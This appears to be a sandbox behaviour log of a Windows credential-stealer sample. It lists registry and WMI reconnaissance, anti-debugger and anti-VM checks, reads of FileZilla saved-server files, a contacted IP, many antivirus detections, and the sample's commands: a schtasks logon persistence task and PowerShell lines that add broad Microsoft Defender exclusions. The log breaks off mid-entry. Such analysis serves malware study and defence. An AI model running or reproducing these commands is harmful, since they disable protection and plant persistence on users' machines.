regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
1 0 0

RegOpenKeyExW

regkey_r: DirectDrawEx
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
1 0 0

RegOpenKeyExW

regkey_r: EditPlus
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus
1 0 0

RegOpenKeyExW

regkey_r: ENTERPRISE
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE
1 0 0

RegOpenKeyExW

regkey_r: Fontcore
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
1 0 0

RegOpenKeyExW

regkey_r: Google Chrome
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
1 0 0

RegOpenKeyExW

regkey_r: Haansoft HWord 80 Korean
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean
1 0 0

RegOpenKeyExW

regkey_r: IE40
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40
1 0 0

RegOpenKeyExW

regkey_r: IE4Data
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
1 0 0

RegOpenKeyExW

regkey_r: IE5BAKEX
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
1 0 0

RegOpenKeyExW

regkey_r: IEData
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData
1 0 0

RegOpenKeyExW

regkey_r: MobileOptionPack
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
1 0 0

RegOpenKeyExW

regkey_r: SchedulingAgent
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
1 0 0

RegOpenKeyExW

regkey_r: WIC
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC
1 0 0

RegOpenKeyExW

regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}
1 0 0

RegOpenKeyExW

regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}
1 0 0

RegOpenKeyExW

regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-0015-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-0016-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-0018-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-0019-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-001A-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-001B-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-001F-0409-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-001F-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-0028-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-002C-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-0030-0000-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-0044-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-006E-0409-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-006E-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-00A1-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-00BA-0409-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {90120000-0114-0412-0000-0000000FF1CE}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExW

regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}
1 0 0

RegOpenKeyExW

regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}
1 0 0

RegOpenKeyExW

regkey_r: {d992c12e-cab2-426f-bde3-fb8c53950b0d}
base_handle: 0x0000024c
key_handle: 0x0000039c
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}
1 0 0
cmdline schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
cmdline "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
wmi SELECT * FROM Win32_Processor
host 62.182.159.86
file \??\SICE
file \??\NTICE
Time & API Arguments Status Return Repeated

FindWindowExW

class_name: OLLYDBG
child_after_hwnd: 0x00000000
parent_hwnd: 0x00000000
window_name: OllyDBg
1 721208 0

FindWindowW

class_name: WinDbgFrameClass
window_name:
0 0
cmdline schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
cmdline "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
file C:\Users\test22\AppData\Local\Temp\fl.exe
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
wmi SELECT * FROM Win32_VideoController
wmi SELECT * FROM AntivirusProduct
wmi SELECT * FROM Win32_OperatingSystem
wmi SELECT * FROM Win32_Process Where SessionId='1'
wmi SELECT * FROM AntiSpyWareProduct
wmi SELECT * FROM FirewallProduct
wmi SELECT * FROM Win32_DiskDrive
wmi SELECT * FROM Win32_Processor
Time & API Arguments Status Return Repeated

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: EditPlus
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Enterprise 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Chrome
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: 한컴오피스 한글 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: HttpWatch Professional 9.3.39
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: 한컴오피스 한글 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Google Update Helper
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Access MUI (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Excel MUI (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office PowerPoint MUI (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Publisher MUI (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Outlook MUI (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Word MUI (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proof (English) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proof (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office IME (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proofing (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Enterprise 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office InfoPath MUI (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Shared MUI (English) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Shared MUI (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office OneNote MUI (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Groove MUI (English) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Groove Setup Metadata MUI (Korean) 2007
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Flash Player 13 ActiveX
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Flash Player 13 NPAPI
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName
1 0 0

RegQueryValueExW

key_handle: 0x0000039c
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName
1 0 0
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file \??\VBoxGuest
Bkav W32.AIDetect.malware1
Elastic malicious (high confidence)
FireEye Generic.mg.5105deed61232bfe
McAfee Artemis!5105DEED6123
Malwarebytes Trojan.MalPack.Obsidium
Cybereason malicious.377444
BitDefenderTheta Gen:NN.ZexaF.34160.9qZ@aOrl!Nfi
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of Generik.LXRQWHX
Kaspersky Trojan-Spy.Win32.Stealer.azve
Avast Win32:MdeClass
McAfee-GW-Edition BehavesLike.Win32.BadFile.dc
SentinelOne Static AI - Malicious PE
Sophos Generic ML PUA (PUA)
Microsoft Exploit:Win32/ShellCode!ml
Cynet Malicious (score: 100)
Cylance Unsafe
APEX Malicious
Rising Malware.Heuristic!ET#94% (RDMK:cmRtazrX7UI6uQGfEI50cWJUsZBZ)
AVG Win32:MdeClass
CrowdStrike win/malicious_confidence_70% (W)
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x00000100
suspend_count: 1
process_identifier: 2768
1 0 0

NtResumeThread

thread_handle: 0x00000194
suspend_count: 1
process_identifier: 2768
1 0 0

NtResumeThread

thread_handle: 0x00000208
suspend_count: 1
process_identifier: 2768
1 0 0

NtResumeThread

thread_handle: 0x00000304
suspend_count: 1
process_identifier: 2768
1 0 0

NtResumeThread

thread_handle: 0x0000024c
suspend_count: 1
process_identifier: 2768
1 0 0

NtGetContextThread

thread_handle: 0x0000019c
1 0 0

NtGetContextThread

thread_handle: 0x0000019c
1 0 0

NtGetContextThread

thread_handle: 0x0000019c
1 0 0

NtSetContextThread

registers.eip: 1928014724
registers.esp: 1370884
registers.edi: 65105920
registers.eax: 84410880
registers.ebp: 1370924
registers.edx: 176
registers.ebx: 0
registers.esi: 176
registers.ecx: 48980624
thread_handle: 0x0000019c
process_identifier: 2768
1 0 0

NtResumeThread

thread_handle: 0x0000019c
suspend_count: 1
process_identifier: 2768
1 0 0

NtGetContextThread

thread_handle: 0x0000019c
1 0 0

NtGetContextThread

thread_handle: 0x0000019c
1 0 0

NtGetContextThread

thread_handle: 0x0000019c
1 0 0

NtSetContextThread

registers.eip: 1928014724
registers.esp: 1370884
registers.edi: 72756941
registers.eax: 84410880
registers.ebp: 1370924
registers.edx: 0
registers.ebx: 0
registers.esi: 0
registers.ecx: 48980624
thread_handle: 0x0000019c
process_identifier: 2768
1 0 0

NtResumeThread

thread_handle: 0x0000019c
suspend_count: 1
process_identifier: 2768
1 0 0

NtResumeThread

thread_handle: 0x00000468
suspend_count: 1
process_identifier: 2768
1 0 0

NtResumeThread

thread_handle: 0x00000680
suspend_count: 1
process_identifier: 2768
1 0 0

NtResumeThread

thread_handle: 0x00000250
suspend_count: 1
process_identifier: 2768
1 0 0

CreateProcessInternalW

thread_identifier: 2196
thread_handle: 0x000007c8
process_identifier: 2192
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Temp\fl.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\fl.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\fl.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000007d0
1 1 0

NtResumeThread

thread_handle: 0x00000000000000c4
suspend_count: 1
process_identifier: 2192
1 0 0

NtResumeThread

thread_handle: 0x0000000000000138
suspend_count: 1
process_identifier: 2192
1 0 0

NtResumeThread

thread_handle: 0x0000000000000178
suspend_count: 1
process_identifier: 2192
1 0 0

NtResumeThread

thread_handle: 0x00000000000001e8
suspend_count: 1
process_identifier: 2192
1 0 0

NtGetContextThread

thread_handle: 0x00000000000000c8
1 0 0

NtResumeThread

thread_handle: 0x00000000000000c8
suspend_count: 1
process_identifier: 2192
1 0 0

CreateProcessInternalW

thread_identifier: 2452
thread_handle: 0x0000000000000214
process_identifier: 2448
current_directory: C:\Windows\system32
filepath:
track: 1
command_line: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000000000000230
1 1 0

CreateProcessInternalW

thread_identifier: 3020
thread_handle: 0x00000000000001e0
process_identifier: 1940
current_directory: C:\Windows\system32
filepath:
track: 1
command_line: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x00000000000001e8
1 1 0

CreateProcessInternalW

thread_identifier: 2772
thread_handle: 0x00000000000001dc
process_identifier: 2824
current_directory: C:\Windows\system32
filepath:
track: 1
command_line: "cmd" cmd /c "C:\Windows\system32\services32.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000000000000330
1 1 0

CreateProcessInternalW

thread_identifier: 2508
thread_handle: 0x0000000000000060
process_identifier: 2504
current_directory: C:\Windows\system32
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000064
1 1 0

CreateProcessInternalW

thread_identifier: 1604
thread_handle: 0x0000000000000064
process_identifier: 1544
current_directory: C:\Windows\system32
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000060
1 1 0

NtResumeThread

thread_handle: 0x000000000000028c
suspend_count: 1
process_identifier: 2504
1 0 0

NtResumeThread

thread_handle: 0x00000000000002e0
suspend_count: 1
process_identifier: 2504
1 0 0

NtResumeThread

thread_handle: 0x0000000000000370
suspend_count: 1
process_identifier: 2504
1 0 0

NtResumeThread

thread_handle: 0x000000000000040c
suspend_count: 1
process_identifier: 2504
1 0 0

NtResumeThread

